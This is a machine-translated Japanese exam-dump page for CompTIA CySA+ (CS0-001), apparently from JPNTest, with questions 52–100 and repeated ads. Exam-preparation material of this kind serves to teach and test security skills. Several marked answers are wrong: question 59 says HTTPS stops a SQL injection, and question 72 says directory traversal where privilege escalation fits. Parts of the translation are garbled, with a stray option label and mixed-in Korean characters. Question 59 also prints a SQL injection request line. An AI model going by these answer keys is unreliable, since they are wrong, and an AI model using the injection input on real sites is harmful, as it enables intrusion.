ID	IP	Port	PluginID	Type	Description	Primarykey
A10	192.168.1.2	System (445/tcp)	1000	A	System Scan	2

B :

ID	IP	Port	PluginID	OS	Description	Primarykey
A10	192.168.1.2	System (445/tcp)	1000	Microsoft Windows XP	System Scan	2

子 :

ID	IP	Port	PluginID	Type	Description	Primarykey
10	192.168.1.2	System (445/tcp)	1000	A	System Scan	2

D :

ID	IP	Port	PluginID	Type	Description	Primarykey
10	192.168.1.2	System (445/tcp)	1000	A	System Scan	2

A. オプションD

B. オプションB

C. オプションC

D. オプションA

正解: ([正解を表示します](#))

質問: 53

セキュリティアナリストは、シンクホールからのCPU使用率が急上昇し始めたことに気が始めました。次のうちどれが発生している可能性がありますか？

A. シンクホールが不正なトラフィックの再ルーティングを開始しました。

B. 誰かがシンクホールにログオンし、デバイスを使用しています。

C. シンクホールが疑わしいまたは悪意のあるトラフィックをブロックし始めました。

D. 何かがシンクホールを制御し、悪意のある利用によるCPUスパイクを引き起こしています。

正解: A ([コメントを發表する](#))

質問: 54

脅威インテリジェンスアナリストは、悪意のあるドメインに関する調査を行っている間に、ブルースクリーンの攻撃を受けました。アナリストは再起動し、コンピュータがロックされていて画面の指示に従うことによってのみ開くことができるというメッセージを受け取りました。次の組み合わせのどれが最も可能性の高い脅威とその脅威に対するPRIMARYの緩和策を説明していますか？

A. ランサムウェアとフルディスク暗号化

B. ランサムウェアと更新ウイルス対策

C. アカウントの引き継ぎとデータのバックアップ

D. ランサムウェアとデータのバックアップ

正解: **D** ([コメントを發表する](#))

質問: **55**

SIEMのアナリストは、ゲスト無線ネットワークからいくつかのEHR (Electronic Health Record) システムへの活動の急増に気づいた。さらに分析した結果、アナリストは、過去6か月間に大量のデータがクラウドプロバイダにアップロードされたことを発見しました。アナリストは最初に次の行動のうちどれを行うべきですか？

- A. 最高プライバシー責任者 (CPO)に通知する
- B. インシデント対応計画を有効にする
- C. 違反を報告するために公民権局 (OCR)に連絡してください
- D. ゲートウェイルータにACLを設定

正解: ([正解を表示します](#))

質問: **56**

セキュリティアナリストが、インシデントからドライブのイメージを作成しました。次のうちどれがアナリストがNEXTをすべきかを説明しますか？

- A. アナリストはドライブのバックアップを作成してからドライブをハッシュします。
- B. 分析者は画像の分析を開始し、調査結果の報告を開始する必要があります。
- C. アナリストはイメージのハッシュを作成し、それを元のドライブのハッシュと比較する必要があります。
- D. アナリストは、一連の保管文書を作成し、関係者に通知する必要があります。

正解: **C** ([コメントを發表する](#))

説明/参照 :

Explanation:

質問: **57**

セキュリティ運用チームは、ユーザーのマシンからの異常なDNSアクティビティについて警告を受けました。チームは法医学調査を行い、ホストが侵害されたことを発見しました。悪意のあるコードがクライアントマシンからデータを抽出するためのトンネルとしてDNSを使用していましたが、これは漏洩して安全でない公共のインターネットサイトに転送されていました。次のBESTのどれが攻撃を説明しますか？

- A. フィッシング
- B. キャッシュ中毒
- C. データ抽出
- D. ファーミング

正解: **C** ([コメントを發表する](#))

質問: **58**

ある企業が、承認されたスキャンベンダーから外部の脆弱性スキャンの結果を受け取りました。

同社は、スキャン結果の確認後72時間以内に、これらの脆弱性をクライアントに修復することを求められています。

この修復が期間内にクライアントに提供されない場合、どの契約違反が発生しますか？

- A. 覚書
- B. サービスレベル契約
- C. 組織統治
- D. 規制遵守

正解: [\(正解を表示します\)](#)

質問: 59

Webサーバーのログを確認しているときに、セキュリティアナリストは次のコードに気付いています。

```
GET http://testphp.comptia.org/profiles.php?id=-1 UNION SELECT 1, 2, 3 HTTP/1.1
Host: testphp.comptia.org
```

次のうちどれがこのコードが悪意のあるアクションを実行するのを防ぎますか？

- A. アプリケーションの前にネットワークファイアウォールを設置する
- B. Webアプリケーションの侵入テストを実施しています
- C. HTTPの使用を無効にし、HTTPSの使用を要求する
- D. 入力検証を使用するようにアプリケーションに要求する

正解: **C** ([コメントを發表する](#))

質問: 60

コンピュータがウイルスに感染しており、未知のサービスを介してサーバを指揮統制するためのビーコンを送信しています。セキュリティ技術者は、Command and Controlサーバーへのトラフィックをドロップしても、ファイアウォールログを介して感染したホストを識別できるようにするために、次のうちどれを実装する必要がありますか？

- A. シンクホール
- B. ポートとサービスをブロックする
- C. パッチ
- D. エンドポイントセキュリティ

正解: **A** ([コメントを發表する](#))

説明/参照 :

参照 <https://live.paloaltonetworks.com/t5/Configuration-Articles/How-to-Configure-DNS-Sinkhole/tap/58891>

質問: 61

ある会社の資産管理ソフトウェアは、重複したライセンスキーを持つエンドユーザーのマシンにインストールされている非標準ソフトウェアの毎週の増加を発見しています。セキュリティアナリストは、このソフトウェアのいずれかが6667などの標準以外のポートで待機しているかどうかを知りたいと考えています。アナリストは、コマンドおよびトラフィックの制御をブロックするために推奨するツールはどれですか。

- A. Netstat
- B. HIDS
- C. NIDS
- D. IPS

正解: **D** ([コメントを发表する](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問**、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **62**

セキュリティアナリストがサブネットのスキャンを依頼されました。スキャン中に、次の出力が生成されました。

```
[root@scanbox ~]# nmap 192.168.100.*
```

```
Starting Nmap 4.11 (http://www.insecure.org/nmap/) at 2015-10-10 19:10 EST
Interesting ports on purple.company.net (192.168.100.145):
```

```
Not shown: 1677 closed ports
```

PORT	STATE	SERVICE
22/tcp	open	ssh
53/tcp	open	domain
111/tcp	open	rpcbind

```
Interesting ports on lemonyellow.company.net (192.168.100.214):
```

```
Not shown: 1676 closed ports
```

PORT	STATE	SERVICE
22/tcp	open	ssh
80/tcp	open	http
111/tcp	open	rpcbind
443/tcp	open	ssl/http

```
Nmap finished: 256 IP addresses (2 hosts up) scanned in 7.223 seconds
```

上記の出力に基づいて、次のうちどれが最も可能性が高いですか？

- A. 192.168.100.214は安全なFTPサーバーです
- B. 192.168.100.214はWebサーバーです
- C. 両方のホストがメールサーバーです
- D. 192.168.100.145はDNSサーバーです

正解: ([正解を表示します](#))

説明/参照 :

質問: 63

次のログスニペットがあるとします。

```
Mar 20 10:08:47 superman sshd[1876]: fatal: Unable to negotiate with 192.168.1.166:
no matching host key type found. Their offer: ssh-dss [preauth]

Mar 20 10:08:47 superman sshd[1888]: Connection closed by 192.168.1.166 [preauth]

Mar 20 10:08:47 superman sshd[1895]: Connection closed by 192.168.1.166 [preauth]

Mar 20 10:08:48 superman sshd[1888]: Connection closed by 192.168.1.166 [preauth]

Mar 20 10:08:48 superman sshd[1902]: fatal: Unable to negotiate with 192.168.1.166:
no matching host key type found. Their offer: ecdsa-sha2-nistp384 [preauth]
```

次のうちどれが発生したイベントについて説明しますか？

- A. "スーパーマン"からSSH接続を試みましたが、パスワードを使用して行いました。
- B. 192.168.1.166からSSH接続しようとしたましたが、PKIを使用して行われました。
- C. パスワードを使って、未知のIPアドレスからSSH接続しようとしたました。
- D. ネットワークの外部からSSH接続を試みましたが、PKIを使用して行われました。

正解: ([正解を表示します](#))

質問: 64

技術者がファイアウォールの自動システムから次のセキュリティ警告を受け取ります。

```
match_time: 10/10/16 16:20:43
serial: 002301028176
device_name: COMPSEC1
type: CORRELATION
scruser: domain\samjones
scr: 10.50.50.150
object_name: Beacon Detection
object_id: 6005
category: compromised-host
severity: medium
evidence: Host repeatedly visited a dynamic DNS domain (17 times).
```

アラートを確認した後、次のうちどれがBEST分析ですか？

- A. この警告は、ユーザーが動的DNSを使用してセキュリティ対策を回避しようとしていることを示します。
- B. DNSは通常のネットワーク機能であるため、この警告は誤検知です。
- C. この警告は、エンドポイントが感染している可能性があり、潜在的に疑わしいホストに連絡していることを示します。

D. このアラートはSIEMによって生成されたものです。ユーザーが無効なログイン試行を多く試みたためです。

正解: ([正解を表示します](#))

質問: 65

セキュリティアナリストがインシデント対応の通信計画に情報を追加しています。ある会社の役員は、データ侵害が発生した場合、影響を受けた当事者だけに、インシデントがメディアのヘッドラインにならないように通知するべきであると提案しました。アナリストは、会社の役員に次のうちどれを推薦すべきですか？

A. フォレンジックチームがCoCを維持するために、最初の対応者はセキュリティインシデントの確認時に法執行機関に連絡する必要があります。

B. 罰金や違反したことによる判断を回避するために、誰に通知する必要があるかを決定する際には、法律や規制からのガイダンスを考慮する必要があります。

C. インシデントが発生したときに被害者が妥協のないリコースからの通知にタイムリーにアクセスできるように、外部でホストされているWebサイトを事前に準備する必要があります。

D. 人事部門には、調査中に閲覧される可能性のある顧客データについて会社が責任を負うことができないように、インシデントの調査に関与する情報セキュリティ担当者が秘密保持契約に署名する必要があります。

正解: ([正解を表示します](#))

説明/参照：

Explanation:

質問: 66

セキュリティアナリストが、マルウェアを含んでいる疑いのある特定のサーバーのパケットキャプチャを確認しており、次のパケットを発見しています。

```
38.23.45.201 73.252.34.101 TCP 56712 -> dns (53) [SYN] Seq=0 Win=4128 Len=0 MSS=1460
73.252.34.101 138.23.45.201 TCP dns (53) -> 56712 [SYN, ACK] Seq=0 Ack=1 Win=4128 Len=0
38.23.45.201 73.252.34.101 TCP 56712 -> dns (53) [ACK] Seq=1 Ack=1 Win=4128 Len=0
73.252.34.101 138.23.45.201 SSH Server: Protocol (SSH-2.0-Cisco-1.25)
38.23.45.201 73.252.34.101 SSH Client: Protocol (SSH-1.99-Cisco-1.25)
73.252.34.101 138.23.45.201 SSHv2 Server: Key Exchange Init
103.34.243.12 73.252.34.101 TCP 62014 -> ftp (21) [SYN] Seq=0 Win=65535 Len=0
73.252.34.101 103.34.243.12 TCP ftp (21) -> 62014 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0
103.34.243.12 73.252.34.101 TCP 62014 -> ftp (21) [ACK] Seq=1 Ack=1 Win=65535 Len=0
73.252.34.101 103.34.243.12 FTP Response: 220 ProFTPD 1.3.0a Server
103.34.243.12 73.252.34.101 FTP Request: User FTP
73.252.34.101 103.34.243.12 FTP Response: 331 Anonymous login ok, send your complete email address
is your password.
103.34.243.12 73.252.34.101 FTP Request: Pass ftp
73.252.34.101 103.34.243.12 FTP Response: 230 Anonymous access granted, restrictions apply,
102.53.245.78 73.252.34.101 TCP 57678 -> 8080[SYN] Seq=0 Win=5840 Len=0 MSS=1460 SACK_PERM=1 TSval:
135172936 TSecr=2216538 WS=64
73.252.34.101 202.53.245.78 TCP 8080 -> 57678[SYN, ACK] Seq=1 Ack=1 Win=5888 Len=0 TSval=2216543
TSecr=835172936
102.53.245.78 73.252.34.101 HTTP GET /images/layout/logo.png HTTP/1.0
102.53.245.78 73.252.34.101 TCP 57678 -> 8080[ACK] Seq=135 Ack=2897 Win=11648 Len=0 TSval=2216543
TSecr=835172936
```

次のトラフィックパターンまたはデータのうち、セキュリティアナリストにとって最も重要なものはどれですか。

- A. 73.252.34.101からのSMTPトラフィックに使用されるポート
- B. 103.34.243.12によって付与された匿名アクセス
- C. 202.53.245.78からのHTTPトラフィックに使用されるポート
- D. 103.34.243.12から送信された暗号化されていないパスワード

正解: ([正解を表示します](#))

質問: 67

次のうちどれが脅威管理のためのログによる相関分析に有効ですか？

- A. IPS
- B. SCAP
- C. PCAP
- D. SIEM

正解: ([正解を表示します](#))

質問: 68

第三者監査の準備をしている間、リスク管理担当副社長および情報技術担当副社長は、監査中にベンダーが攻撃的なソフトウェアを使用してはならないと規定しています。

これは次の例です。

- A. 関与のルール
- B. サービスレベル契約
- C. 組織統制
- D. リスク選好

正解: A ([コメントを發表する](#))

質問: 69

アナリストが組織のセキュリティ体制の評価を開始しました。このレビューの一環として、アナリストは組織に関する情報が外部に公開されている量を判断したいと考えています。アナリストがこの目標を達成するのに役立つと思われるテクニックはどれですか？ 2つ選択してください。)

- A. 指紋
- B. DNSクエリログレビュー
- C. バナー掴み
- D. インターネット検索
- E. イン트라ネットポータルレビュー
- F. ソーシングソーシャルネットワークサイト
- G. 技術管理監査

正解: ([正解を表示します](#))

説明/参照：

Explanation:

質問: 70

新しいポリシーでは、セキュリティチームはWebアプリケーションとOSの脆弱性スキャンを実行する必要があります。同社のWebアプリケーションはすべてフェデレーション認証を使用しており、中央ポータルからアクセスできます。次のうちどれが会社のWebアプリケーションのより徹底的なスキャンを確実にするために実装されるべきであると同時に誤検知を減らしますか？

- A. 脆弱性スキャナーは既知および未知の脆弱性をスキャンする必要があります。
- B. 脆弱性スキャナーは、OSとネットワークサービスの検出を実装する必要があります。
- C. 脆弱性スキャナーはWebサーバーにインストールされているはずです。
- D. 脆弱性スキャナーは認証スキャンを実行するように設定されている必要があります。

正解: ([正解を表示します](#))

質問: 71

侵入テスト担当者は、環境のセキュリティに影響を与える可能性がある重要なシステムの監査の準備をしています。これには、環境の外周と内周が含まれます。次のどのプロセスの間にこのタイプの情報は通常集められますか。

- A. 列挙
- B. 権限
- C. スコープ
- D. タイミング

正解: ([正解を表示します](#))

質問: 72

アナリストは、社内で開発されたCRMシステムの最新バージョンをテストしていました。アナリストは基本的なユーザーアカウントを作成しました。Kaliの最新版に含まれるいくつかのツールを使用して、アナリストは設定ファイルへのアクセス、フォルダやグループに対する権限の変更、そして新しいシステムオブジェクトの削除と作成を行うことができました。

アナリストは、これらの許可されていない活動を実行するために次の技法のうちどれを使用しましたか？

- A. インプットインジェクション
- B. ディレクトリトラバーサル
- C. 権限昇格
- D. なりすまし

正解: B ([コメントを發表する](#))

質問: 73

同様の3つの運用サーバーが脆弱性スキャンを受けました。スキャンの結果、3台のサーバーに「深刻」と評価された2つの異なる脆弱性があることが明らかになりました。

管理者は、3つのサーバーについて次のことを確認しました。

サーバーはインターネットからアクセスできない

AVプログラムは、2週間前と同じくらい最近サーバーがマルウェアを持っていたことを示します
SIEMは、過去20日間で異常なトラフィックを示しています
システムファイルの整合性検証は不正な変更を示しています

次の評価のどれが有効であり、最も適切なNEXTステップは何ですか？ 2を選択)

- A. サーバーがSIEM経由で誤検知を生成している可能性があります
- B. サーバーは矛盾して構築された可能性があります
- C. サーバーは改ざんされている可能性があります
- D. サーバー上で定期的に脆弱性スキャンをスケジュールする
- E. すぐに既知の良い設定からサーバーを再構築
- F. インシデント対応計画を有効にする

正解: ([正解を表示します](#))

質問: 74

原子力施設管理者は、施設内の水の利用を監視する必要があると判断した。ある新興企業が、ビジネスとICSネットワークを統合する必要性に対処するための最先端のソリューションを発表しました。このソリューションでは、非常に小さなエージェントをICS機器にインストールする必要があります。次のうちどれが施設を保護するために投資すべきマネージャーのための最も重要なセキュリティコントロールですか？

- A. インストールされているエージェントで侵入テストを実行します。
- B. ソリューションプロバイダがエージェントのソースコードを分析可能にすることを要求します。
- C. 管理者とユーザーにスルーガイドを要求します。
- D. テストシステムに1週間エージェントをインストールし、アクティビティを監視します。

正解: ([正解を表示します](#))

質問: 75

ビジネスクリティカルなアプリケーションは、特殊文字の使用を許可していないため、現在のパスワードポリシーの要件をサポートできません。管理者は、パスワードの標準が弱いためにセキュリティ上の問題が発生する危険性を受け入れたくありません。次のうちどれがアプリケーションに関連するリスクを制限するための適切な手段ですか？

- A. 認証トラフィックの暗号化
- B. 新しいアカウント管理手順を作成する
- C. 補正コントロール
- D. パスワードポリシーの変更

正解: ([正解を表示します](#))

質問: 76

セキュリティアナリストが、一部のシステムでネットワークパフォーマンスの問題を引き起こしているネットワーク使用率の増加を説明するネットワーク部門からのレポートを検討しています。5分間のサンプルに関するトップトーカーレポートが含まれています。

Source	Destination	Application	Packets	Volume (Kbps)
8.4.4.100	172.16.1.25	SMTP	4386	6141
96.23.114.14	172.16.1.1	IPSec	7734	10827
172.16.1.101	100.15.25.34	HTTP	3412	4776
96.23.114.18	172.16.1.1	IPSec	2723	3812
172.16.1.101	100.15.25.34	SSL	8697	12176
172.16.1.222	203.67.121.12	Quicktime	1302	1822
172.16.1.197	113.121.12.15	8180/tcp	6045	8463
172.16.1.131	172.16.1.67	DHCP	25	35
172.16.1.25	172.16.1.53	DNS	66	93

上記のサンプルの出力を考慮すると、セキュリティアナリストはパフォーマンスの問題を追跡するのに役立つ最初のうちどれを達成する必要がありますか。

- A. QuickTimeなどの不要なプロトコルをネットワークングでブロックして、混雑を解消することをお勧めします。
- B. ネットワーク上のトップトーカーを隔離し、過剰なトラフィックによって引き起こされる可能性のある脅威を調査し始めます。
- C. 表示されている各IPアドレスで逆引きを実行して、トラフィックが必要かどうかを判断します。
- D. ランダムまたはデフォルト以外のアプリケーションポート宛てのトラフィックを制限するためにACLを設定します。

正解: C ([コメントを发表する](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問、30%ディスカント**、特別な割引コード: **JPNshiken**」

質問: 77

サイバーセキュリティアナリストは、DDoS攻撃の結果として複数のシステムの動作が遅くなっているという報告を受けました。次のうちどれがサイバーセキュリティアナリストが実行するための最良の行動でしょうか？

- A. 重要システムの監視を続けます。
- B. すべてのサービインタフェースをシャットダウンします。
- C. インシデントの管理者に連絡してください。
- D. 影響を受けるシステムについてユーザーに通知します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 78

サイバーセキュリティアナリストは、攻撃を受けたユーザーの資格情報への攻撃の原因を突き止めました。ログ分析の結果、攻撃者は不正な外国からの認証に成功したことを確認しました。経営陣は、セキュリティアナリストに、危殆化したパスワードに基づく攻撃を軽減するための解決策を調査して実装するよう依頼しました。アナリストは次のうちどれを実装すべきですか？

- A. セルフサービスパスワードのリセット
- B. シングルサインオン
- C. コンテキストベース認証
- D. パスワードの複雑さ

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 79

ある企業は、社内ネットワーク上に社内専用のWebベースのアプリケーションをいくつか持っています。遠隔地の従業員は、会社が提供するVPNクライアントを使用して内部の企業ネットワークに接続することが許可されています。内部アプリケーションをアップグレードするプロジェクトの間、請負業者はデータベースサーバで作業するために雇われ、リモートで作業できるようにVPNクライアントのコピーが与えられました。1週間後、セキュリティアナリストは、コントラクターのラップトップの1つに由来するマルウェアによって内部Webサーバーが侵害されていたことを発見しました。このシナリオで提示された脅威に最もよく対処するには、次のうちどれを変更すればよいですか？

- A. DMZにWebアプリケーションファイアウォールを配置して、Webサーバーに対するインターネットベースの攻撃を阻止します。
- B. NACを実装して、内部ネットワークに接続しているPC用の最新のマルウェア対策シグネチャおよびロケーションベースのルールを確認します。
- C. 遠隔地からVPNを使用するのではなく、内部ネットワークにアクセスするときに、請負業者が自分のラップトップを現場に持ち込むように要求します。
- D. 境界にネットワークアクセス制御リストを含むアプリケーション層のファイアウォールを配置してから、疑わしいレイヤ7トラフィックに対するアラートを作成します。
- E. 請負業者用に制限付きネットワークセグメントを作成し、請負業者が内部リソースにアクセスするために使用するジャンプボックスを設定します。

正解: ([正解を表示します](#))

質問: 80

次のうちどれが、許可された侵入テストのためのタイムラインと時刻境界の慎重な選択の背後にある推論を表していますか？ 2を選択)

- A. チームのコミュニケーションと報告の頻度を決定する
- B. 意図しない業務への影響を軽減するため

- C. テストが運用にある程度の影響を与えることを確認する
 - D. テスト活動に必要な人的資源を計画するため
 - E. 発生する可能性がある実際の侵入との競合を回避するため
- 正解: B,D ([コメントを发表する](#))

質問: 81

アプリケーション開発会社がそのソフトウェアの新しいバージョンを一般に公開しました。リリースから数日後、同社はエンドユーザーからアプリケーションの動作が著しく遅くなったことを知らされ、古いセキュリティのバグが新しいリリースで再発しました。開発チームは、報告された問題に対処するために、次の開発サイクルでセキュリティアナリストを含めることを決定しました。セキュリティアナリストは、報告されている既存の問題を解決するために次のうちどれに焦点を当てるべきですか？

- A. セキュリティアナリストは、各アプリケーション開発サイクルの間にアプリケーションの脆弱性を見つけるためにアプリケーションファジングを実行する必要があります。
- B. セキュリティアナリストは、各アプリケーション開発サイクルの間に安全なコーディング方法を実行する必要があります。
- C. セキュリティアナリストは、各アプリケーション開発サイクルの間にエンドユーザー承認セキュリティテストを実行する必要があります。
- D. セキュリティアナリストは、各アプリケーション開発サイクルの間にセキュリティ回帰テストを実行する必要があります。

正解: ([正解を表示します](#))

質問: 82

組織は、重要なサービスの質の低下と重要な外部リソースの可用性を経験しています。次のうちどれが問題の調査に使用できますか？

- A. 脆弱性分析
- B. 行動分析
- C. リスク分析
- D. Netflow分析

正解: ([正解を表示します](#))

質問: 83

開発チームは現在、それぞれ特定のプログラミング言語を専門とする3人の開発者で構成されています。

開発者1 - C ++ / C #

開発者2 - Python

開発者3 - アセンブリ

次のSDLCベストプラクティスのうちどれが現在利用可能なスタッフと一緒に実装するのが難しいでしょうか。

- A. あいまい

- B. ピアレビュー
- C. 回帰テスト
- D. ストレステスト

正解: ([正解を表示します](#))

質問: 84

サイバーセキュリティアナリストには、APT活動の可能性を確認するためのSIEMイベントログがいくつかあります。アナリストは、IPアドレスとドメインの両方の指標のリストを含むいくつかの項目を与えられました。アナリストが実行するための最善のアプローチは次のうちどれですか。

- A. IPアドレスを使ってイベントログを検索します。
- B. 手動でレビューしながらイベントの傾向を分析して、いずれかの指標が一致するかどうかを確認します。
- C. すべての指標を含む高度なクエリを作成し、一致するものをすべて確認します。
- D. APTによって使用されたことが知られているエクスプロイトで脆弱性をスキャンします。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 85

セキュリティアナリストがフォレンジック用のイメージのコピーを作成するために使用するコマンドはどれですか。

- A. rm
- B. dd
- C. 触れる
- D. wget

正解: ([正解を表示します](#))

質問: 86

この事業は、顧客データの侵害の疑いがあることを知らされています。内部監査チームは、法務部門と連携して、レポートを検証するためにサイバーセキュリティチームと協力し始めました。調査中、企業は次の対応プロセスのどれに従うべきですか。

- A. セキュリティアナリストは、調査を行っている信頼できる機関に通信を制限する必要があります。
- B. セキュリティアナリストは、インシデントが発生したときに違反の疑いがあることを規制当局に報告する必要があります。
- C. セキュリティアナリストは積極的な調査中に内部監査要求に応答してはいけません
- D. セキュリティアナリストはシステム運用者にインタビューし、その結果を内部監査人に報告する必要があります。

正解: A ([コメントを發表する](#))

質問: 87

新たに発見されたマルウェアは、データを抽出する目的で、ポート27500で外部への送信先に接続することが知られています。以下はnetstatを実行することから得られた4つの断片です - 別々のWindowsワークステーションの上で：

Workstation A:			
Proto	Local Address	Foreign Address	State
TCP	10.1.2.3:49321	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49321	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49323	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49324	EXTERNALIP:27500	ESTABLISHED
TCP	10.1.2.3:49325	EXTERNALIP:27500	ESTABLISHED

Workstation B:			
Proto	Local Address	Foreign Address	State
TCP	:::135	:::0	Listening
TCP	:::445	:::0	Listening
TCP	:::27500	:::0	Listening

Workstation C:			
Proto	Local Address	Foreign Address	State
TCP	:::135	:::0	Listening
TCP	:::445	:::0	Listening
TCP	:::27500	:::0	Listening

Workstation D:			
Proto	Local Address	Foreign Address	State
TCP	10.1.2.5:27500	EXTERNALIP2:443	ESTABLISHED
TCP	10.1.2.5:27501	EXTERNALIP2:443	ESTABLISHED
TCP	10.1.2.5:27502	EXTERNALIP2:443	ESTABLISHED

上記の情報に基づいて、次のうちどれがこのマルウェアにさらされる可能性がありますか？

- A. ワークステーションB
- B. ワークステーションC
- C. ワークステーションA
- D. ワークステーションD

正解: C ([コメントを发表する](#))

質問: 88

サイバーセキュリティアナリストが現在サーバーの停止を調査しています。アナリストは、ユーザー名に次の値が入力されたことを発見しました :0xbfff601a。次の攻撃のうちどれが起こりますか？

- A. バッファオーバーフロー攻撃
- B. 中間者攻撃
- C. スマーフアタック
- D. フォーマット文字列攻撃

E. サービス拒否攻撃

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 89

技術者は、ユーザーのワークステーションにネットワーク接続がないという報告を受け取ります。技術者は、調査を行い、ユーザーのVoIP電話の背面を走っているパッチケーブルがローリングチェアの下に直接配線されており、時間の経過とともに平らに粉砕されていることに気付きました。

次のうちどれがこの問題の最も可能性の高い原因ですか？

- A. 過剰な衝突
- B. 分割ペア
- C. クロストーク
- D. 電磁波障害

正解: A ([コメントを發表する](#))

質問: 90

セキュリティ運用チームは模擬フォレンジック調査を実施しています。次のうちどれが侵入先のワークステーションを没収した後に最初に取りられるべきであるか。

- A. エスカレーションチェックリストを有効にします
- B. インシデント対応計画を実施する
- C. 法医学画像を分析します
- D. 証拠取得を行います

正解: D ([コメントを發表する](#))

説明/参照 :

参照 <https://staff.washington.edu/dittrich/misc/forensics/>

質問: 91

脆弱性スキャンの完了後、次のような出力が見られました。

```
CVE-2011-3389
QID 42366 - SSLv3.0 / TLSv1.0 Protocol weak CBC mode Server side vulnerability

Check with:

openssl s_client -connect qualys.jive.mobile.com:443 -tls1 -cipher "AES:CAMELLIA:SEED:3DES:DES"
```

次の脆弱性のうちどれが確認されましたか？

- A. PKI転送の脆弱性
- B. Active Directoryの暗号化の脆弱性
- C. Webアプリケーションの暗号化の脆弱性
- D. VPNトンネルの脆弱性

正解: ([正解を表示します](#))

説明/参照：

Explanation:

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問**、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 92

自動パッチ適用ツールを実装して実行した後、セキュリティ管理者が脆弱性スキャンを実行しましたが、不足しているパッチは見つかりませんでした。次のBESTのどれがこのツールが使用されたのか説明していますか？

- A. 未リリースのパッチのログデータを生成します。
- B. 修復がアクティブであったことを検証するためのものです。
- C. 新しい攻撃に対してサーバーを強化します。
- D. サーバーにパッチが適用された時期を示す一連の証拠を作成します。

正解: ([正解を表示します](#))

質問: 93

ネットワーク管理者が安全なWebサイトの証明書に関する問題のトラブルシューティングを試みています。

トラブルシューティングプロセス中に、ネットワーク管理者は、ローカルネットワーク上のWebゲートウェイプロキシがローカルマシン上のすべての証明書に署名したことに気付きます。

次のうちどれがプロキシが実行するために合法的にプログラムされている攻撃の種類について説明しますか？

- A. なりすまし
- B. リプレイ
- C. 中間者
- D. 推移的アクセス

正解: C ([コメントを發表する](#))

質問: 94

会社のソフトウェアから脆弱性を取り除くためのソフトウェアパッチがリリースされました。セキュリティアナリストは、脆弱性が修正されていること、およびアプリケーションがまだ適切に機能していることを確認するためのソフトウェアのテストを担当しています。次のテストのどれがNEXTを実行する必要がありますか？

- A. あいまい

B. ユーザー受け入れテスト

C. 回帰テスト

D. 侵入テスト

正解: C ([コメントを发表する](#))

説明/参照 :

Explanation:

参照 https://en.wikipedia.org/wiki/Regression_testing

質問: 95

本番Webサーバーでパフォーマンスの問題が発生しています。調査の結果、未承認の新しいアプリケーションがインストールされ、不審なトラフィックが未使用のポートを介して送信されました。エンドポイントセキュリティは、マルウェアやウイルスを検出していません。次の種類の脅威のうちどれがこのMOSTに分類される可能性がありますか？

A. バッファオーバーフローの脆弱性

B. ボットネット

C. ゼロデイ

D. 高度な持続的脅威

正解: ([正解を表示します](#))

質問: 96

ファイアウォールログの定期的な見直しの間に、アナリストは、組織のサーバーサブネットからのIPアドレスが夜間に外部IPアドレスに接続し、毎回150から500メガバイトのデータを送信していたことを確認しました。これは約1週間継続しており、影響を受けるサーバーはフォレンジックレビューのためにオフラインにされました。次のうちどれがインシデントの影響評価を促進する可能性が最も高いですか？

A. 会社の従業員と顧客のPIIが抽出されました。

B. 会社に関する生の財務情報にアクセスしました。

C. サーバーのフォレンジックレビューには、効率の悪いサービスへのフォールバックが必要でした。

D. IPアドレスとその他のネットワーク関連の設定が抽出されました。

E. 影響を受けるサーバーのローカルルートパスワードが危険にさらされました。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 97

マルウェア感染はマーケティング部門内の多数のワークステーションに広がります。ワークステーションは隔離され、マシンに置き換えられました。

次のうちどれがマルウェアの根絶における最終的なステップを表しますか？

A. ワークステーションを再イメージングする必要があります。

- B. ワークステーションにパッチを適用してスキャンする必要があります。
- C. ワークステーションは再利用のために寄付されるべきです。
- D. ワークステーションはネットワークから隔離する必要があります。

正解: [\(正解を表示します\)](#)

質問: 98

あるセキュリティアナリストが、社内のストアフロントWebサイトに内部ドメインユーザーがアクセスできないという報告を受けたサービスチケットをいくつか受け取りました。ただし、外部ユーザーは問題なくWebサイトにアクセスしています。

次のうちどれがこの動作の最も可能性の高い理由ですか？

- A. FQDNが正しくありません。
- B. 時刻同期サーバーが壊れています。
- C. 証明書は期限切れです。
- D. DNSサーバーが壊れています。

正解: [D \(コメントを發表する\)](#)

質問: 99

データベース管理者がセキュリティ管理者に連絡して、新しい内部アプリケーションへの接続に対するファイアウォールの変更を要求します。

セキュリティ管理者は、新しいアプリケーションが通常ウイルスによって独占されているポートを使用していることに気付きました。

セキュリティ管理者は要求を拒否し、新しいポートまたはサービスを使用してアプリケーションのタスクを完了させるよう提案します。

次のうちどれがセキュリティ管理者がこの例で実践していますか？

- A. 明示的な拒否
- B. ポートセキュリティ
- C. 暗黙の拒否
- D. アクセス制御リスト

正解: [D \(コメントを發表する\)](#)

質問: 100

ある組織が、そのWebサーバーに関連する脆弱性を修正したいと考えています。最初の脆弱性スキャンが実行され、アナリストが結果を確認しています。修正を開始する前に、アナリストは、実際の脆弱性ではない問題に時間を費やすことを避けるために、誤検知を取り除きたいと考えています。

